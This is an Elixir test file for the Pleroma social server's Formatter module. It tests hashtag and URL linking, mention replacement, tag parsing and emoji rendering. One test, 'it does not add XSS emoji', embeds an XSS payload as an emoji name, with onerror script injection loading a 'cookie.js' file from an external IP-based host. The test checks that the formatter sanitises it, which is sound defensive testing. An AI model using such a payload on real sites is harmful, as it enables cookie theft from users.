1 defmodule Pleroma.FormatterTest do
2 alias Pleroma.Formatter
8 Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
12 describe ".add_hashtag_links" do
13 test "turns hashtags into links" do
14 text = "I love #cofe and #2hu"
17 "I love <a href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
19 tags = Formatter.parse_tags(text)
21 assert expected_text ==
22 Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
26 describe ".add_links" do
27 test "turning urls into links" do
28 text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
31 "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
33 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
35 text = "https://mastodon.social/@lambadalambda"
38 "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
40 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
42 text = "https://mastodon.social:4000/@lambadalambda"
45 "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
47 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
49 text = "@lambadalambda"
50 expected = "@lambadalambda"
52 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
54 text = "http://www.cs.vu.nl/~ast/intel/"
55 expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
57 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
59 text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
62 "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
64 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
66 text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
69 "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
71 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
73 text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
76 "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
78 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
80 text = "https://en.wikipedia.org/wiki/Duff's_device"
83 "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
85 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
87 text = "https://pleroma.com https://pleroma.com/sucks"
90 "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
92 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
94 text = "xmpp:contact@hacktivis.me"
96 expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
98 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
101 "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
103 expected = "<a href=\"#{text}\">#{text}</a>"
105 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
109 describe "add_user_links" do
110 test "gives a replacement for user links" do
111 text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"
112 gsimg = insert(:user, %{nickname: "gsimg"})
116 nickname: "archaeme",
117 info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archaeme"}}
120 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
122 mentions = Pleroma.Formatter.parse_mentions(text)
124 {subs, text} = Formatter.add_user_links({[], text}, mentions)
126 assert length(subs) == 3
127 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
130 "<span><a class='mention' href='#{gsimg.ap_id}'>@<span>gsimg</span></a></span> According to <span><a class='mention' href='#{
131 "https://archeme/@archaeme"
132 }'>@<span>archaeme</span></a></span>, that is @daggsy. Also hello <span><a class='mention' href='#{
133 archaeme_remote.ap_id
134 }'>@<span>archaeme</span></a></span>"
136 assert expected_text == Formatter.finalize({subs, text})
139 test "gives a replacement for user links when the user is using Osada" do
140 mike = User.get_or_fetch("mike@osada.macgirvin.com")
142 text = "@mike@osada.macgirvin.com test"
144 mentions = Formatter.parse_mentions(text)
146 {subs, text} = Formatter.add_user_links({[], text}, mentions)
148 assert length(subs) == 1
149 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
152 "<span><a class='mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
154 assert expected_text == Formatter.finalize({subs, text})
157 test "gives a replacement for single-character local nicknames" do
159 o = insert(:user, %{nickname: "o"})
161 mentions = Formatter.parse_mentions(text)
163 {subs, text} = Formatter.add_user_links({[], text}, mentions)
165 assert length(subs) == 1
166 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
168 expected_text = "<span><a class='mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
169 assert expected_text == Formatter.finalize({subs, text})
172 test "does not give a replacement for single-character local nicknames who don't exist" do
175 mentions = Formatter.parse_mentions(text)
177 {subs, text} = Formatter.add_user_links({[], text}, mentions)
179 assert length(subs) == 0
180 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
182 expected_text = "@a hi"
183 assert expected_text == Formatter.finalize({subs, text})
187 describe ".parse_tags" do
188 test "parses tags in the text" do
189 text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
193 {"#working", "working"},
198 assert Formatter.parse_tags(text) == expected
202 test "it can parse mentions and return the relevant users" do
203 text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"
205 gsimg = insert(:user, %{nickname: "gsimg"})
206 archaeme = insert(:user, %{nickname: "archaeme"})
207 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
211 {"@archaeme", archaeme},
212 {"@archaeme@archae.me", archaeme_remote}
215 assert Formatter.parse_mentions(text) == expected_result
218 test "it adds cool emoji" do
219 text = "I love :moominmamma:"
222 "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
224 assert Formatter.emojify(text) == expected_result
227 test "it does not add XSS emoji" do
229 "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
232 "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
233 "https://placehold.it/1x1"
237 "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
239 assert Formatter.emojify(text, custom_emoji) == expected_result
242 test "it returns the emoji used in the text" do
243 text = "I love :moominmamma:"
245 assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
248 test "it returns a nice empty result when no emojis are present" do
249 text = "I love moominamma"
250 assert Formatter.get_emoji(text) == []
253 test "it doesn't die when text is absent" do
255 assert Formatter.get_emoji(text) == []